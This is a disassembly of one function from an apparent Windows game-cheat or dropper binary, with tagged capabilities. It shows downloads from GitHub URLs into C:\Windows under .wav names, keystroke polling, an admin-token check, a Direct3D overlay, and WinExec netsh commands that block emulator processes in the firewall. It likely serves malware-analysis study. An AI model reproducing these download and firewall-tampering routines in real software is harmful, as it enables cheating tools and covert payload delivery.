Function at 0x140054e50
Capabilities:
Check for time delay via gettickcount
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Create thread
Download url
Log keystrokes via polling
Receive data
Resolve function by parsing pe exports
Set registry value
Terminate process

Disassembly:
push rbp
push r12
push r15
lea rbp, [rsp - 0xd40]
sub rsp, 0xe40
xor r12d, r12d
lea rcx, [0x1401663c0]
mov r15d, r12d
mov dword [rbp - 0x68], r12d
call fcn.14006ce10
lea rcx, [0x1401663c0]
call fcn.140069bd0
test al, al
jne 0x14005a4bd
call fcn.14004fff0
mov rdx, rax
call fcn.14004f620
test eax, eax
je 0x140054ebd
mov r8d, eax
mov dword [0x1401662d0], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1401662d8], rax
call fcn.14004fff0
mov rdx, rax
call fcn.14004f620
test eax, eax
je 0x140054eeb
mov r8d, eax
mov dword [0x1401662d0], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1401662d8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x1d8]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14005a499
mov rcx, qword [rbp + 0x1d8]
lea rax, [rbp + 0x1d0]
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x70]
mov dword [rbp - 0x70], r12d
mov edx, reloc.WS2_32.dll_sendto
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x14005a499
cmp dword [rbp - 0x70], r12d
setne al
test al, al
je 0x14005a499
call fcn.14004d810
mov ecx, 8
call fcn.1400c4e90
lea rcx, [0x14004c2d0]
mov r9, rax
lea r8, [0x140060340]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x158]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x150], rax
test rax, rax
je 0x14005a486
mov qword [rsp + 0xe38], r13
mov r13d, 1
mov qword [rsp + 0xe60], rbx
mov qword [rsp + 0xe68], rsi
mov qword [rsp + 0xe70], rdi
mov qword [rsp + 0xe30], r14
movaps xmmword [rsp + 0xe20], xmm6
movaps xmmword [rsp + 0xe10], xmm7
movaps xmmword [rsp + 0xe00], xmm8
movaps xmmword [rsp + 0xdf0], xmm9
movaps xmmword [rsp + 0xde0], xmm10
movaps xmmword [rsp + 0xdd0], xmm11
movaps xmmword [rsp + 0xdc0], xmm12
movaps xmmword [rsp + 0xdb0], xmm13
movaps xmmword [rsp + 0xda0], xmm14
movaps xmmword [rsp + 0xd90], xmm15
cmp dword [rbp + 0x158], r12d
je 0x14005a47c
movaps xmm0, xmmword [rbp + 0x150]
lea rcx, [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005a47c
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x150], xmm0
call fcn.14004c330
movzx eax, word [0x1400e6500]
lea r8, [rbp + 0x5d0]
movaps xmm0, xmmword [str.https:__raw.githubusercontent.com_yassine12345_UI_uy_main_0704.WAV]
lea rdx, [rbp + 0x820]
movaps xmm1, xmmword [0x1400e64d0]
xor r9d, r9d
movaps xmmword [rbp + 0x820], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x1400e64e0]
mov word [rbp + 0x860], ax
movzx eax, byte [0x1400e6502]
movaps xmmword [rbp + 0x840], xmm0
movups xmm0, xmmword [str.C:Windows0704.wav]
mov byte [rbp + 0x862], al
mov eax, dword [0x1400e6518]
movaps xmmword [rbp + 0x830], xmm1
movaps xmm1, xmmword [0x1400e64f0]
movups xmmword [rbp + 0x5d0], xmm0
mov dword [rbp + 0x5e0], eax
movaps xmmword [rbp + 0x850], xmm1
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__raw.githubusercontent.com_ziitx_xactivar_main_xactivar.wav]
lea r8, [rbp + 0x6e0]
movaps xmm1, xmmword [0x1400e6530]
lea rdx, [rbp + 0x870]
movzx eax, word [0x1400e6560]
xor r9d, r9d
movaps xmmword [rbp + 0x870], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x1400e6540]
movaps xmmword [rbp + 0x890], xmm0
movups xmm0, xmmword [str.C:Windowsxactivar.wav]
mov word [rbp + 0x8b0], ax
movzx eax, byte [0x1400e6562]
movups xmmword [rbp + 0x6e0], xmm0
mov byte [rbp + 0x8b2], al
movsd xmm0, qword [0x1400e5cd0]
movaps xmmword [rbp + 0x880], xmm1
movaps xmm1, xmmword [0x1400e6550]
movsd qword [rbp + 0x6f0], xmm0
movaps xmmword [rbp + 0x8a0], xmm1
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
call fcn.14004f6f0
call fcn.14004f6f0
mov rdx, rax
call fcn.14004f620
test eax, eax
je 0x1400551ad
mov r8d, eax
mov dword [0x1401662e0], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1401662e8], rax
call fcn.14004f6f0
call fcn.14004f6f0
mov rdx, rax
call fcn.14004f620
test eax, eax
je 0x1400552ae
mov r8d, eax
mov dword [0x1401662e0], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1401662e8], rax
test rax, rax
je 0x1400552ae
mov eax, dword [0x1400e6588]
lea r8, [rbp + 0x190]
movups xmm1, xmmword [0x140143bb8]
mov qword [rbp + 0x1a0], reloc.WS2_32.dll_ntohs
lea rdx, [rbp + 0x2b0]
xorps xmm0, xmm0
mov qword [rbp + 0x1a8], reloc.WS2_32.dll_ntohs
movups xmmword [rbp + 0x190], xmm0
mov dword [rbp + 0x198], eax
movzx eax, word [0x1400e658c]
movsd xmm0, qword [str.Emulator_Found_]
mov word [rbp + 0x19c], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_33]
movsd qword [rbp + 0x190], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b0], xmm0
mov byte [rbp + 0x19e], al
movzx eax, byte [0x1400e6398]
movsd xmm0, qword [0x1400e6390]
mov byte [rbp + 0x2b8], al
mov byte [rbp + 0x19f], r12b
mov qword [rbp + 0x2c0], 9
mov qword [rbp + 0x2c8], reloc.WS2_32.dll_ntohs
movsd qword [rbp + 0x2b0], xmm0
mov byte [rbp + 0x2b9], r12b
movdqa xmmword [rbp - 0x80], xmm1
jmp 0x14005535d
movups xmm6, xmmword [0x140143bb8]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x4b8], r12
call fcn.1400c4e90
movups xmm0, xmmword [str.Emulator_Not_Found_]
mov qword [rbp + 0x4b0], rax
lea r8, [rbp + 0x4b0]
mov qword [rbp + 0x4c0], reloc.WS2_32.dll_send
lea rdx, [rbp + 0x2d0]
mov qword [rbp + 0x4c8], Ordinal_35
movups xmmword [rax], xmm0
movzx ecx, word [0x1400e6578]
mov word [rax + 0x10], cx
xorps xmm0, xmm0
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_33]
mov byte [rax + 0x12], cl
mov byte [rax + 0x13], r12b
movzx eax, byte [0x1400e6398]
movups xmmword [rbp + 0x2d0], xmm0
mov qword [rbp + 0x2e0], 9
movsd xmm0, qword [0x1400e6390]
movsd qword [rbp + 0x2d0], xmm0
mov qword [rbp + 0x2e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2d8], al
mov byte [rbp + 0x2d9], r12b
movdqa xmmword [rbp - 0x80], xmm6
lea r9, [rbp - 0x80]
call fcn.14004b380
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [0x140145220], rax
test rax, rax
jne 0x140055501
movups xmm6, xmmword [0x140143bb8]
mov ecx, Ordinal_50
mov qword [rbp + 0x4d8], r12
call fcn.1400c4e90
movups xmm0, xmmword [str._Failed_to_create_mutex._Error_code]
mov qword [rbp + 0x4d0], rax
lea r9, [rbp - 0x80]
mov qword [rbp + 0x4e0], Ordinal_45
lea r8, [rbp + 0x4d0]
mov qword [rbp + 0x4e8], Ordinal_50
lea rdx, [rbp + 0x290]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400e65a0]
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x80], xmm6
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x1400e65b0]
mov dword [rax + 0x20], ecx
mov byte [rax + 0x24], r12b
movzx eax, byte [0x1400e6398]
movups xmmword [rbp + 0x290], xmm0
mov qword [rbp + 0x2a0], 9
movsd xmm0, qword [0x1400e6390]
movsd qword [rbp + 0x290], xmm0
mov qword [rbp + 0x2a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x298], al
mov byte [rbp + 0x299], r12b
call fcn.14004b380
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_mutex._Error_code:
call fcn.14005e690
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x14005e870]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, r13d
movaps xmm14, xmmword [rsp + 0xda0]
movaps xmm13, xmmword [rsp + 0xdb0]
movaps xmm12, xmmword [rsp + 0xdc0]
movaps xmm11, xmmword [rsp + 0xdd0]
movaps xmm10, xmmword [rsp + 0xde0]
movaps xmm9, xmmword [rsp + 0xdf0]
movaps xmm8, xmmword [rsp + 0xe00]
movaps xmm7, xmmword [rsp + 0xe10]
movaps xmm6, xmmword [rsp + 0xe20]
mov r14, qword [rsp + 0xe30]
mov rbx, qword [rsp + 0xe60]
mov rdi, qword [rsp + 0xe70]
mov rsi, qword [rsp + 0xe68]
movaps xmm15, xmmword [rsp + 0xd90]
mov r13, qword [rsp + 0xe38]
add rsp, 0xe40
pop r15
pop r12
pop rbp
ret
mov qword [rsp + 0x28], r12
lea r8, [0x1400549a0]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x1400549a0]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x14005558e
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_thread._Error_code:
call fcn.14005e690
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x14005e870]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [0x140145220]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140055471
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140145220]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x1400545c0]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, [0x1401663c0]
call fcn.14006ce10
lea rax, [0x14004f4f0]
mov dword [rbp + 0x240], 0x50
mov edx, 0x7f00
mov qword [rbp + 0x248], rax
xor ecx, ecx
mov dword [rbp + 0x244], 0x40
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r12
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x260], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
lea r14, str.SAM_X_tre
mov qword [rbp + 0x270], r12
mov edx, 0x7f00
mov qword [rbp + 0x268], rax
xor ecx, ecx
mov qword [rbp + 0x278], r14
mov qword [rbp + 0x280], r14
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x240]
mov qword [rbp + 0x288], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
cvttss2si edi, dword [0x140143b04]
mov ecx, r13d
cvttss2si esi, dword [0x140143b00]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x140143b04]
xor ecx, ecx
movss xmm15, dword [0x1400e73d8]
cdq
sub eax, edx
mulss xmm0, xmm15
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si ebx, xmm1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x140143b00]
mov r9d, 0x80000000
mov qword [rsp + 0x58], r12
cdq
mov qword [rsp + 0x50], r12
sub eax, edx
mov rdx, qword [rbp + 0x280]
mov r8, r14
mov qword [rsp + 0x48], r12
xor ecx, ecx
mov qword [rsp + 0x40], r12
sar eax, 1
mov dword [rsp + 0x38], edi
mulss xmm0, xmm15
mov dword [rsp + 0x30], esi
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov dword [rsp + 0x28], ebx
subss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [0x140145230], rax
mov rcx, rax
mov edx, 0xffffffec
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov rcx, qword [0x140145230]
mov edx, 0xffffffec
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [0x140145230]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x1400e75a0]
lea rdx, [rbp + 0x758]
mov rcx, qword [0x140145230]
movdqu xmmword [rbp + 0x758], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
cvttss2si r9d, dword [0x140143b04]
mov dword [rsp + 0x28], 0xa
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0xa
cvttss2si r8d, dword [0x140143b00]
call qword [sym.imp.GDI32.dll_CreateRoundRectRgn]
mov rcx, qword [0x140145230]
mov r8d, r13d
mov rdx, rax
call qword [sym.imp.USER32.dll_SetWindowRgn]
mov rcx, qword [0x140145230]
lea rdx, [0x140145240]
xorps xmm0, xmm0
movups xmmword [0x140145240], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rax, qword [0x140145230]
lea rbx, [0x14016aa50]
mov qword [rsp + 0x58], rbx
lea rdi, [0x14016aa48]
mov qword [rbp + 0x220], rax
lea rsi, [0x14016aa38]
lea rax, [rbp - 0x28]
mov qword [rbp + 0x204], r12
mov qword [rsp + 0x50], rax
xor r9d, r9d
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov edx, r13d
mov dword [rsp + 0x30], 7
lea rax, [rbp - 0x18]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x218], 2
mov qword [rbp + 0x230], 2
mov qword [rbp + 0x1f0], r12
mov dword [rbp + 0x200], Ordinal_35
mov dword [rbp + 0x1f8], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x1fc], r13d
mov dword [rbp + 0x214], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x20c], r13
mov qword [rbp + 0x228], r13
mov dword [rbp - 0x18], 0xb000
mov dword [rbp - 0x14], 0xa000
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
mov ecx, 5
cmp eax, 0x887a0004
jne 0x14005590f
mov qword [rsp + 0x58], rbx
lea rax, [rbp - 0x28]
mov qword [rsp + 0x50], rax
mov edx, ecx
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x40], rsi
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], 7
lea rax, [rbp - 0x18]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
jne 0x14005a45e
mov rcx, qword [0x14016aa38]
lea r9, [rbp + 0x20]
lea r8, [0x1400e5378]
xor edx, edx
mov rax, qword [rcx]
mov r10, qword [rax + 0x48]
call r10
mov rcx, qword [0x14016aa48]
lea r9, [0x14016aa30]
mov rdx, qword [rbp + 0x20]
xor r8d, r8d
mov rax, qword [rcx]
mov r10, qword [rax + 0x48]
call r10
mov rcx, qword [rbp + 0x20]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x140145230]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140145230]
call qword [sym.imp.USER32.dll_UpdateWindow]
call fcn.140006620
call fcn.1400085d0
movss xmm3, dword [0x1400e74a8]
lea rdi, [0x1400e3c20]
mov qword [rsp + 0x28], rdi
lea rdx, [0x14011b100]
mov r8d, 0x26a20
mov qword [rsp + 0x20], r12
mov rcx, qword [rax + 0x50]
mov rbx, rax
call fcn.14002fe80
movss xmm3, dword [0x1400e74b8]
lea rdx, [0x1400fa120]
mov rcx, qword [rbx + 0x50]
mov r8d, 0x20fe0
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r12
call fcn.14002fe80
movss xmm3, dword [0x1400e74a0]
lea rdx, [0x14011b100]
mov rcx, qword [rbx + 0x50]
mov r8d, 0x26a20
mov qword [rsp + 0x28], rdi
mov qword [0x14016be68], rax
mov qword [rsp + 0x20], r12
call fcn.14002fe80
movss xmm3, dword [0x1400e74a4]
lea rdx, [0x140141b20]
mov rcx, qword [rbx + 0x50]
mov r8d, 0xb80
mov qword [rsp + 0x28], rdi
mov qword [0x14016aa70], rax
mov qword [rsp + 0x20], r12
call fcn.14002fe80
xor ecx, ecx
call fcn.140028180
call fcn.140049020
call fcn.140048db0
call fcn.1400048f0
movss xmm1, dword [0x1400e744c]
xorps xmm10, xmm10
movss xmm0, dword [0x1400e745c]
xor r14b, r14b
movss xmm8, dword [0x1400e7514]
movss xmm12, dword [0x1400e74d0]
movss xmm13, dword [0x1400e73fc]
movss xmm14, dword [0x1400e7398]
movss xmm11, dword [0x1400e74e0]
unpcklps xmm0, xmm1
movsd qword [rax + 0x3c], xmm0
xorps xmm0, xmm0
mov dword [rax + 0x44], 0x3f800000
mov qword [rax + 0x10], 0x40000000
mov dword [rax + 0x38], r12d
unpcklps xmm0, xmm10
movsd qword [rax + 8], xmm0
mov dword [rax + 0x30], 0x41200000
mov dword [rax + 0xc8], r12d
movss xmm6, dword [0x1400e7498]
lea rcx, [rbp + 0x7e8]
movss xmm9, dword [0x1400e7530]
lea rbx, [fcn.140001a50]
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
xor edx, edx
movabs rsi, 0x7ffffffffffffff
movabs rdi, 0x7fffffffffffffff
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140055b70
nop dword [rax + rax]
lea rcx, [rbp + 0x7e8]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x7e8]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x7f0], 0x12
lea rcx, [rbp + 0x7e8]
movzx r14d, r14b
cmove r14d, r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140055b20
test r14b, r14b
jne 0x14005a3af
mov ecx, reloc.WLDAP32.dll_Ordinal_46
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
jne 0x14005a455
mov ecx, dword [0x140145260]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x140055d40
cmp byte [0x140146274], r12b
jne 0x140055d40
mov edx, 0x384
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Beep]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirin_actionblock_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirout_actionblock_program__ProgramFiles_Bluestacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirin_actionblock_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirout_actionblock_program__ProgramFiles_BluestacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirin_actionblock_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirout_actionblock_program__ProgramFiles_Bluestacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirin_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirout_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirin_actionblock_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirout_actionblock_program__ProgramData_Bluestacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirin_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirout_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
movsxd rbx, dword [0x140145238]
lea rcx, [rbp + 0x1e8]
call fcn.14004b2a0
mov rcx, qword [rbp + 0x1e8]
mov qword [rbp - 0x10], rcx
test rbx, rbx
jle 0x140055cad
imul rdx, rbx, 0x3b9aca00
mov rax, rdi
sub rax, rdx
cmp rcx, rax
jge 0x140055ca9
lea rax, [rdx + rcx]
mov qword [rbp - 0x10], rax
jmp 0x140055cad
mov qword [rbp - 0x10], rdi
lea rcx, [rbp - 0x10]
call fcn.14005f990
mov edx, 0x384
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Beep]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rulall_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, 2
mov byte [0x140146274], r13b
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [0x140146274], r12b
lea rbx, [fcn.140001a50]
mov ecx, dword [0x14014523c]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x140055dcb
mov ecx, 8
call fcn.1400c4e90
lea rcx, [rbp + 0x168]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x140060340]
xor ecx, ecx
mov dword [rsp + 0x20], r12d
xor edx, edx
mov qword [rax], rbx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x160], rax
test rax, rax
je 0x14005a3eb
cmp dword [rbp + 0x168], r12d
je 0x14005a47c
movaps xmm0, xmmword [rbp + 0x160]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005a47c
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x160], xmm0
mov ecx, dword [0x140145258]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x140055e4e
mov ecx, 8
call fcn.1400c4e90
lea rcx, [0x1400514c0]
mov r9, rax
lea r8, [0x140060340]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x18]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x10], rax
test rax, rax
je 0x14005a3fe
cmp dword [rbp + 0x18], r12d
je 0x14005a47c
movaps xmm0, xmmword [rbp + 0x10]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005a47c
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x10], xmm0
mov ecx, dword [0x140145140]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x140055ee4
mov ecx, 8
call fcn.1400c4e90
lea rcx, [0x140050d00]
mov r9, rax
lea r8, [0x140060340]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x128]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x120], rax
test rax, rax
je 0x14005a40e
cmp dword [rbp + 0x128], r12d
je 0x14005a47c
movaps xmm0, xmmword [rbp + 0x120]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005a47c
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x120], xmm0
mov ecx, dword [0x140145190]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x140055f7a
mov ecx, 8
call fcn.1400c4e90
lea rcx, [0x140051b70]
mov r9, rax
lea r8, [0x140060340]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x138]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x130], rax
test rax, rax
je 0x14005a421
cmp dword [rbp + 0x138], r12d
je 0x14005a47c
movaps xmm0, xmmword [rbp + 0x130]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005a47c
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x130], xmm0
mov ecx, dword [0x140145148]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
